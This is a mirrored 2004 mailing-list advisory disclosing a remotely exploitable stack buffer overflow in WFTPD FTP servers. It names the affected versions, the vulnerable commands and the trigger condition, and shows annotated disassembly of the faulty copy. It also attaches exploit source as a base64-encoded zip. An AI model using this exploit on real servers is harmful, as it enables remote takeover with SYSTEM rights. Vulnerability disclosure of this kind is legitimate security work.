The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Critical WFTPD buffer overflow vulnerability


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Sat, 28 Feb 2004 21:52:33 +0000
From: axl rose <[email protected]>
To: [email protected], [email protected]
Subject: Critical WFTPD buffer overflow vulnerability
Cc: [email protected]

------=_NextPart_000_176_2fe5_3bcb
Content-Type: text/plain; format=flowed

Name of Advisory: Critical WFTPD buffer overflow vulnerability
Severity:         Critical
Discoverer:       axl ([email protected])
Released:         Today
Vendor Notified:  Today

WFTPD who? what? when?
~~~~~~~~~~~~~~~~~~~~~~
Vendor quote: "WFTPD Server has been a leading FTP server for Windows since 
it was released in 1993.   Its stability and security have long been relied 
on by technology companies, educational institutions, government 
departments, individuals and others, to provide a secure FTP site."

Tested versions
~~~~~~~~~~~~~~~
- WFTPD Pro Server 3.21 Release 1 (trial) (latest version)
- WFTPD Pro Server 3.20 Release 2 (trial)
- WFTPD Server 3.21 Release 1 (trial) (latest version)
- WFTPD Server 3.10 Release 1 (trial)

All tested versions are vulnerable. Other versions may also be vulnerable.

Overview
~~~~~~~~
There's a stack based buffer overflow vulnerability that a remote attacker 
can exploit to execute arbitrary code on the remote system running the 
vulnerable WFTPD server software. For WFTPD Pro Server, the code will 
execute as SYSTEM, and for WFTPD Server, the code will execute as the user 
who started the server.

Vulnerability details
~~~~~~~~~~~~~~~~~~~~~
The vulnerable FTP commands are LIST, NLST, and STAT. The user must be 
logged in as any user unless the Secure option in the registry is 0.

There's special code to check if the first argument's first character is 
equal to '-'. If it is, and there's a ' ' character at some later position, 
we'll execute this vulnerable code (WFTPD Pro trial v3.21.1.1). For the 
programming challenged people, I've added comments:

004034B8 MOV  EAX,[EBP+8]    ; strchr(userbuf, ' ')
004034BB SUB  EAX,ESI
004034BD DEC  EAX            ; num bytes to copy
004034BE CMP  EAX,EDI        ; (below) jump if num bytes to copy
004034C0 JLE  SHORT 004034C4 ; is <= max_len - 2
004034C2 MOV  EDI,EAX
004034C4 PUSH EDI            ; max(max_len - 2, num bytes to copy)
004034C5 INC  ESI            ; don't copy '-'
004034C6 PUSH ESI            ; &userbuf[1]
004034C7 PUSH EBX            ; &dest[1] on the stack
004034C8 CALL memcpy

Anything between the first '-' char to the first ' ' char can be copied to 
the string. This string only has room for 31 characters and a terminating 
null byte. Obviously, the programmer mistakenly used max() instead of min().

Exploit
~~~~~~~
See attached source code.

_________________________________________________________________
Store more e-mails with MSN Hotmail Extra Storage √ 4 plans to choose from! 
http://click.atdmt.com/AVE/go/onm00200362ave/direct/01/

------=_NextPart_000_176_2fe5_3bcb
Content-Type: application/x-zip-compressed; name="xp_wftpd.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="xp_wftpd.zip"

UEsDBBQAAgAIAAAAIQD9mKT2uREAAME/AAAMAAAAeHBfd2Z0cGQuY3Bw7Ttp
c9vGkp/pKv+HEVOWCYuiAJ6SddSKhxLtKpZKYjZ+K3FZMDgU8QQCfACoY1/y
37d7egYYgKAkO07tUbGLIjDT93T39Bzc+fD2DfvAfj0ZXvTZl+V0ykMW3PNw
6gUPjD8uvMCNq6ziGMx+9FjdNJtVFk4e4eVfZkE8t12v5gRzQaPvRg6i8gn7
8sTiGWfw8sQie87Z7fKJfVwgmAAd8igGMOIKUJEb+NHHpHtb9lyEAbviIQCw
Rq1usUvucTvizGKVOHRtz2AVz46BlqJhPINuJuh1hZ6B/gOMElTLXEXNKy2N
yh7ceIZWAtiQz4OYs2DBQzt2/VsWPQHoPGsR158EDxH7fIF6VdnVhZX0Xs2C
pQdWlxYH/mD/gEXLxSIIYxYAlzAhcH7Foxr7W7Bkc/uJBb73xGb2PReEAGm5
mICmIFI8tieTsIbtO2/fvH3zg+s73nLC2cGD60eBc1evzY6geRHat3ObgRfM
uR9XPPdLlZUfovq4Ua/BS9nIoaIQhJm0RvHEDUQbtE741PU5+/n489nppwEz
Hy3TNLFnZ0f1nZ/1e+f9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GeG8LK6cEkec0ivK6h8MZeOsgZ+Z
y9PbL5LgKwtSqTCfaOWnKsOK6olEgaQIqK8T6ccgpvuvBTP/qlDCYanEzJRx
SQ1prFsbqbs7WMnjNR3ybmNFnrOlc/cES0k8Xp9EWtmZRlSmVLf92H4fsQc7
dmboEE/BckOhFJblNK4beaeUd5m8IOLSTyJj5WaovPn131BLAQIUABQAAgAI
AAAAIQD9mKT2uREAAME/AAAMAAAAAAAAAAEAIACAgQAAAAB4cF93ZnRwZC5j
cHBQSwUGAAAAAAEAAQA6AAAA4xEAAAAA


------=_NextPart_000_176_2fe5_3bcb--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру